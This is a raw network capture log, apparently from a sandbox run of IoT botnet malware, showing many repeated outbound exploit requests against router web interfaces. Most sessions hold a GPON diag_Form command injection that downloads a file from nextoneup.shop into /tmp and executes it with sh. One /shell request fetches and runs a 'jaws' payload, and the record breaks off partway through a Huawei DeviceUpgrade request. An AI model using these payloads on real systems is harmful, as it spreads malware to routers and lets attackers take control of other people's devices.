Apr 14, 2024 04:00:50.021094084 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1319	192.168.2.13	48116	148.0.173.31	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021121979 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1320	192.168.2.13	34286	148.140.241.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021158934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1321	192.168.2.13	53306	148.73.80.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021178961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1322	192.168.2.13	49216	2.139.234.131	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021235943 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1323	192.168.2.13	55586	123.36.220.163	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021258116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1324	192.168.2.13	35226	37.8.165.3	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021276951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1325	192.168.2.13	55910	109.87.228.160	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021296024 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1326	192.168.2.13	51974	123.228.12.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021353960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1327	192.168.2.13	54362	2.106.231.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021380901 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1328	192.168.2.13	39004	148.235.22.193	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021399975 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1329	192.168.2.13	48622	2.29.187.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021447897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1330	192.168.2.13	46598	148.243.144.1	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021462917 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1331	192.168.2.13	41582	210.205.101.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021483898 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1332	192.168.2.13	38234	202.134.4.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021509886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1333	192.168.2.13	52166	118.52.140.127	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021541119 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1334	192.168.2.13	55570	117.143.14.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021564007 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1335	192.168.2.13	36244	210.108.222.62	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021585941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1336	192.168.2.13	59610	109.127.44.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021615982 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1337	192.168.2.13	47140	2.48.174.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021645069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1338	192.168.2.13	36610	79.4.131.235	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021680117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1339	192.168.2.13	38078	202.123.178.146	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021703005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1340	192.168.2.13	39774	148.7.118.154	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021733999 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1341	192.168.2.13	42740	202.103.63.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.021748066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1342	192.168.2.13	47686	23.95.247.76	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.402185917 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:50.594024897 CEST	235	IN	HTTP/1.1 401 Unauthorized Content-Type: application/json; charset=utf-8 Www-Authenticate: JWT realm=trojan-manager Date: Sun, 14 Apr 2024 02:00:50 GMT Content-Length: 46 Data Raw: 7b 22 63 6f 64 65 22 3a 34 30 31 2c 22 6d 65 73 73 61 67 65 22 3a 22 63 6f 6f 6b 69 65 20 74 6f 6b 65 6e 20 69 73 20 65 6d 70 74 79 22 7d Data Ascii: {"code":401,"message":"cookie token is empty"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
1343	192.168.2.13	35360	41.43.168.76	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:50.631750107 CEST	858	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 